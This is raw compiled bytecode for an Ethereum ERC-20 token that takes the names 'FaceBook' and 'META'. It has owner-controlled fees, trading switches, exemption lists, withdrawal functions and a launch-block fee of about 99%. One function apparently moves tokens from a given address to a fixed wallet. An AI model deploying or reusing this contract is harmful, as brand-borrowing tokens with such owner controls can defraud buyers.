60806040526000600e60006101000a81548160ff0219169083151502179055506000600e60016101000a81548160ff0219169083151502179055506003600f55604051806101000160405280600060ff168152602001600060ff168152602001600060ff168152602001600060ff168152602001600060ff168152602001600060ff168152602001600060ff168152602001600060ff16815250601060008201518160000160006101000a81548160ff021916908360ff16021790555060208201518160000160016101000a81548160ff021916908360ff16021790555060408201518160000160026101000a81548160ff021916908360ff16021790555060608201518160000160036101000a81548160ff021916908360ff16021790555060808201518160000160046101000a81548160ff021916908360ff16021790555060a08201518160000160056101000a81548160ff021916908360ff16021790555060c08201518160000160066101000a81548160ff021916908360ff16021790555060e08201518160000160076101000a81548160ff021916908360ff1602179055505050348015620001b257600080fd5b506040518060400160405280600881526020017f46616365426f6f6b0000000000000000000000000000000000000000000000008152506040518060400160405280600481526020017f4d45544100000000000000000000000000000000000000000000000000000000815250816003908162000230919062000a62565b50806004908162000242919062000a62565b505050600062000257620005ed60201b60201c565b905080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35060006b033b2e3c9fd0803ce80000009050606460038262000318919062000b78565b62000324919062000bf2565b600a8190555060646003826200033b919062000b78565b62000347919062000bf2565b600b8190555060646003826200035e919062000b78565b6200036a919062000bf2565b600c8190555061271060058262000382919062000b78565b6200038e919062000bf2565b600d819055506001601060000160016101000a81548160ff021916908360ff1602179055506000601060000160036101000a81548160ff021916908360ff1602179055506000601060000160026101000a81548160ff021916908360ff160217905550601060000160029054906101000a900460ff16601060000160039054906101000a900460ff16601060000160019054906101000a900460ff1662000436919062000c37565b62000442919062000c37565b601060000160006101000a81548160ff021916908360ff160217905550730f7c51042ee23666cd72684a78832a454c4bde81600960006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550730f7c51042ee23666cd72684a78832a454c4bde81600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601060000160056101000a81548160ff021916908360ff1602179055506000601060000160076101000a81548160ff021916908360ff1602179055506000601060000160066101000a81548160ff021916908360ff160217905550601060000160069054906101000a900460ff16601060000160079054906101000a900460ff16601060000160059054906101000a900460ff16620005ab919062000c37565b620005b7919062000c37565b601060000160046101000a81548160ff021916908360ff160217905550620005e63382620005f560201b60201c565b5062000dd1565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160362000667576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200065e9062000cd4565b60405180910390fd5b6200067e816002546200078560201b90919060201c565b600281905550620006d7816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546200078560201b90919060201c565b6000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000779919062000d07565b60405180910390a35050565b600080828462000796919062000d24565b905083811015620007de576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401620007d59062000daf565b60405180910390fd5b8091505092915050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200086a57607f821691505b60208210810362000880576200087f62000822565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620008ea7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620008ab565b620008f68683620008ab565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b6000620009436200093d62000937846200090e565b62000918565b6200090e565b9050919050565b6000819050919050565b6200095f8362000922565b620009776200096e826200094a565b848454620008b8565b825550505050565b600090565b6200098e6200097f565b6200099b81848462000954565b505050565b5b81811015620009c357620009b760008262000984565b600181019050620009a1565b5050565b601f82111562000a1257620009dc8162000886565b620009e7846200089b565b81016020851015620009f7578190505b62000a0f62000a06856200089b565b830182620009a0565b50505b505050565b600082821c905092915050565b600062000a376000198460080262000a17565b1980831691505092915050565b600062000a52838362000a24565b9150826002028217905092915050565b62000a6d82620007e8565b67ffffffffffffffff81111562000a895762000a88620007f3565b5b62000a95825462000851565b62000aa2828285620009c7565b600060209050601f83116001811462000ada576000841562000ac5578287015190505b62000ad1858262000a44565b86555062000b41565b601f19841662000aea8662000886565b60005b8281101562000b145784890151825560018201915060208501945060208101905062000aed565b8683101562000b34578489015162000b30601f89168262000a24565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b600062000b85826200090e565b915062000b92836200090e565b925082820262000ba2816200090e565b9150828204841483151762000bbc5762000bbb62000b49565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600062000bff826200090e565b915062000c0c836200090e565b92508262000c1f5762000c1e62000bc3565b5b828204905092915050565b600060ff82169050919050565b600062000c448262000c2a565b915062000c518362000c2a565b9250828201905060ff81111562000c6d5762000c6c62000b49565b5b92915050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000cbc601f8362000c73565b915062000cc98262000c84565b602082019050919050565b6000602082019050818103600083015262000cef8162000cad565b9050919050565b62000d01816200090e565b82525050565b600060208201905062000d1e600083018462000cf6565b92915050565b600062000d31826200090e565b915062000d3e836200090e565b925082820190508082111562000d595762000d5862000b49565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b600062000d97601b8362000c73565b915062000da48262000d5f565b602082019050919050565b6000602082019050818103600083015262000dca8162000d88565b9050919050565b6153ca8062000de16000396000f3fe6080604052600436106102345760003560e01c80638a8c523c1161012e578063c0246668116100ab578063e16830a81161006f578063e16830a81461086c578063ec4a183d14610895578063f2fde38b146108d2578063f5b3c3bf146108fb578063f887ea40146109385761023b565b8063c024666814610782578063c16dd4a4146107ab578063c18bc195146107d4578063d212a69a146107fd578063dd62ed3e1461082f5761023b565b80639e252f00116100f25780639e252f00146106895780639fccce32146106b2578063a457c2d7146106dd578063a9059cbb1461071a578063b8863115146107575761023b565b80638a8c523c146105b65780638cd4426d146105cd5780638da5cb5b146105f657806395d89b411461062157806396880b171461064c5761023b565b8063313ce567116101bc5780636ddd1713116101805780636ddd1713146104e357806370a082311461050e578063715018a61461054b578063751039fc146105625780637571336a1461058d5761023b565b8063313ce567146103d6578063395093511461040157806349bd5a5e1461043e5780634fbee19314610469578063555467a1146104a65761023b565b806318160ddd1161020357806318160ddd146102db5780631a8145bb146103065780631f3fed8f1461033157806323b872dd1461035c5780632a0274c2146103995761023b565b806301339c211461024057806306fdde031461024a578063095ea7b31461027557806311a582c3146102b25761023b565b3661023b57005b600080fd5b610248610963565b005b34801561025657600080fd5b5061025f61141a565b60405161026c919061428a565b60405180910390f35b34801561028157600080fd5b5061029c60048036038101906102979190614345565b6114ac565b6040516102a991906143a0565b60405180910390f35b3480156102be57600080fd5b506102d960048036038101906102d491906143bb565b6114ca565b005b3480156102e757600080fd5b506102f061169b565b6040516102fd919061440a565b60405180910390f35b34801561031257600080fd5b5061031b6116a5565b604051610328919061440a565b60405180910390f35b34801561033d57600080fd5b506103466116ab565b604051610353919061440a565b60405180910390f35b34801561036857600080fd5b50610383600480360381019061037e9190614425565b6116b1565b60405161039091906143a0565b60405180910390f35b3480156103a557600080fd5b506103c060048036038101906103bb9190614345565b61178a565b6040516103cd91906143a0565b60405180910390f35b3480156103e257600080fd5b506103eb6117c8565b6040516103f89190614494565b60405180910390f35b34801561040d57600080fd5b5061042860048036038101906104239190614345565b6117d1565b60405161043591906143a0565b60405180910390f35b34801561044a57600080fd5b50610453611884565b60405161046091906144be565b60405180910390f35b34801561047557600080fd5b50610490600480360381019061048b91906144d9565b6118aa565b60405161049d91906143a0565b60405180910390f35b3480156104b257600080fd5b506104cd60048036038101906104c89190614506565b611900565b6040516104da91906143a0565b60405180910390f35b3480156104ef57600080fd5b506104f86119a9565b60405161050591906143a0565b60405180910390f35b34801561051a57600080fd5b50610535600480360381019061053091906144d9565b6119bc565b604051610542919061440a565b60405180910390f35b34801561055757600080fd5b50610560611a04565b005b34801561056e57600080fd5b50610577611b5c565b60405161058491906143a0565b60405180910390f35b34801561059957600080fd5b506105b460048036038101906105af919061455f565b611c26565b005b3480156105c257600080fd5b506105cb611d18565b005b3480156105d957600080fd5b506105f460048036038101906105ef9190614345565b611dfa565b005b34801561060257600080fd5b5061060b611f1b565b60405161061891906144be565b60405180910390f35b34801561062d57600080fd5b50610636611f45565b604051610643919061428a565b60405180910390f35b34801561065857600080fd5b50610673600480360381019061066e91906144d9565b611fd7565b60405161068091906143a0565b60405180910390f35b34801561069557600080fd5b506106b060048036038101906106ab9190614506565b611ff7565b005b3480156106be57600080fd5b506106c76120df565b6040516106d4919061440a565b60405180910390f35b3480156106e957600080fd5b5061070460048036038101906106ff9190614345565b6120e5565b60405161071191906143a0565b60405180910390f35b34801561072657600080fd5b50610741600480360381019061073c9190614345565b6121b2565b60405161074e91906143a0565b60405180910390f35b34801561076357600080fd5b5061076c6121d0565b60405161077991906143a0565b60405180910390f35b34801561078e57600080fd5b506107a960048036038101906107a4919061455f565b6121e3565b005b3480156107b757600080fd5b506107d260048036038101906107cd919061455f565b6122d5565b005b3480156107e057600080fd5b506107fb60048036038101906107f69190614506565b612457565b005b34801561080957600080fd5b5061081261258c565b60405161082698979695949392919061459f565b60405180910390f35b34801561083b57600080fd5b506108566004803603810190610851919061461d565b61262a565b604051610863919061440a565b60405180910390f35b34801561087857600080fd5b50610893600480360381019061088e919061455f565b6126b1565b005b3480156108a157600080fd5b506108bc60048036038101906108b791906144d9565b6127a3565b6040516108c991906143a0565b60405180910390f35b3480156108de57600080fd5b506108f960048036038101906108f491906144d9565b6127c3565b005b34801561090757600080fd5b50610922600480360381019061091d91906144d9565b612989565b60405161092f91906143a0565b60405180910390f35b34801561094457600080fd5b5061094d6129a9565b60405161095a91906146bc565b60405180910390f35b61096b6129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109fa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109f190614723565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610abc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ae09190614758565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b69573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b8d9190614758565b6040518363ffffffff1660e01b8152600401610baa929190614785565b6020604051808303816000875af1158015610bc9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bed9190614758565b600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160166000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160166000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160166000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160166000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160166000610e23611f1b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160156000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160156000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160156000610fce611f1b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160176000611085611f1b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001601760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160176000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160176000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160176000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160186000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061136330600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6129d7565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306113ac306119bc565b60008033426040518863ffffffff1660e01b81526004016113d2969594939291906147e9565b60606040518083038185885af11580156113f0573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190611415919061485f565b505050565b606060038054611429906148e1565b80601f0160208091040260200160405190810160405280929190818152602001828054611455906148e1565b80156114a25780601f10611477576101008083540402835291602001916114a2565b820191906000526020600020905b81548152906001019060200180831161148557829003601f168201915b5050505050905090565b60006114c06114b96129cf565b84846129d7565b6001905092915050565b6114d26129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611561576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155890614723565b60405180910390fd5b606461156b61169b565b6115759190614970565b6103e88361158161169b565b61158b91906149a1565b6115959190614970565b10156115d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115cd90614a55565b60405180910390fd5b60646115e061169b565b6115ea9190614970565b6103e8826115f661169b565b61160091906149a1565b61160a9190614970565b101561164b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161164290614ae7565b60405180910390fd5b6103e88261165761169b565b61166191906149a1565b61166b9190614970565b600a819055506103e88161167d61169b565b61168791906149a1565b6116919190614970565b600b819055505050565b6000600254905090565b60125481565b60115481565b60006116be848484612ba0565b61177f846116ca6129cf565b61177a8560405180606001604052806028815260200161536d60289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006117306129cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136769092919063ffffffff16565b6129d7565b600190509392505050565b600080600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690506117bd8482856136da565b600191505092915050565b60006012905090565b600061187a6117de6129cf565b8461187585600160006117ef6129cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461383790919063ffffffff16565b6129d7565b6001905092915050565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600061190a6129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611999576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199090614723565b60405180910390fd5b81600d8190555060019050919050565b600e60019054906101000a900460ff1681565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b611a0c6129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a9b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a9290614723565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000611b666129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611bf5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bec90614723565b60405180910390fd5b611bfd61169b565b600a81905550611c0b61169b565b600b81905550611c1961169b565b600c819055506001905090565b611c2e6129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611cbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb490614723565b60405180910390fd5b80601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b611d206129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611daf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da690614723565b60405180910390fd5b6001600e60006101000a81548160ff0219169083151502179055506001600e60016101000a81548160ff021916908315150217905550600243611df29190614b07565b601481905550565b611e026129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611e91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e8890614723565b60405180910390fd5b8173ffffffffffffffffffffffffffffffffffffffff1663a9059cbb611eb5611f1b565b836040518363ffffffff1660e01b8152600401611ed3929190614b3b565b6020604051808303816000875af1158015611ef2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f169190614b79565b505050565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060048054611f54906148e1565b80601f0160208091040260200160405190810160405280929190818152602001828054611f80906148e1565b8015611fcd5780601f10611fa257610100808354040283529160200191611fcd565b820191906000526020600020905b815481529060010190602001808311611fb057829003601f168201915b5050505050905090565b60176020528060005260406000206000915054906101000a900460ff1681565b611fff6129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461208e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161208590614723565b60405180910390fd5b612096611f1b565b73ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156120db573d6000803e3d6000fd5b5050565b60135481565b60006121a86120f26129cf565b846121a385604051806060016040528060258152602001615322602591396001600061211c6129cf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546136769092919063ffffffff16565b6129d7565b6001905092915050565b60006121c66121bf6129cf565b8484612ba0565b6001905092915050565b600e60029054906101000a900460ff1681565b6121eb6129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461227a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227190614723565b60405180910390fd5b80601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6122dd6129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461236c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161236390614723565b60405180910390fd5b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036123fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123f390614bf2565b60405180910390fd5b80601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b61245f6129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124e590614723565b60405180910390fd5b60646124f861169b565b6125029190614970565b6103e88261250e61169b565b61251891906149a1565b6125229190614970565b1015612563576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255a90614c84565b60405180910390fd5b6103e88161256f61169b565b61257991906149a1565b6125839190614970565b600c8190555050565b60108060000160009054906101000a900460ff16908060000160019054906101000a900460ff16908060000160029054906101000a900460ff16908060000160039054906101000a900460ff16908060000160049054906101000a900460ff16908060000160059054906101000a900460ff16908060000160069054906101000a900460ff16908060000160079054906101000a900460ff16905088565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6126b96129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612748576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161273f90614723565b60405180910390fd5b80601760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60166020528060005260406000206000915054906101000a900460ff1681565b6127cb6129cf565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461285a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161285190614723565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036128c9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128c090614d16565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60186020528060005260406000206000915054906101000a900460ff1681565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612a46576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a3d90614da8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612ab5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aac90614e3a565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051612b93919061440a565b60405180910390a3505050565b60008103612bb957612bb483836000613895565b613671565b612bc1611f1b565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015612c2f5750612bff611f1b565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015612c485750600e60029054906101000a900460ff16155b15612fce57600e60009054906101000a900460ff16612d4257601560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612d025750601560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b612d41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d3890614ea6565b60405180910390fd5b5b601860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612de55750601660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612e3457600a54811115612e2f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e2690614f12565b60405180910390fd5b612f23565b601860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612ed75750601660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15612f2257600b54811115612f21576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f1890614f7e565b60405180910390fd5b5b5b601760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16612fcd57600c54612f80836119bc565b82612f8b9190614b07565b1115612fcc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612fc390614fea565b60405180910390fd5b5b5b6000612fd9306119bc565b90506000600d548210159050808015612ffe5750600e60019054906101000a900460ff165b80156130175750600e60029054906101000a900460ff16155b801561306c5750601860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80156130c25750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156131185750601560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561315c576001600e60026101000a81548160ff021916908315150217905550613140613a3f565b6000600e60026101000a81548160ff0219169083151502179055505b6000600e60029054906101000a900460ff16159050601560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806132125750601560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561321c57600090505b80156136625760006014544310156132bf576132566064613248600f5488613d6890919063ffffffff16565b613de290919063ffffffff16565b90506063605e8261326791906149a1565b6132719190614970565b601160008282546132829190614b07565b92505081905550606360058261329891906149a1565b6132a29190614970565b601360008282546132b39190614b07565b9250508190555061363d565b601860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561332d57506000601060000160049054906101000a900460ff1660ff16115b1561347f5761336d606461335f601060000160049054906101000a900460ff1660ff1688613d6890919063ffffffff16565b613de290919063ffffffff16565b9050601060000160049054906101000a900460ff1660ff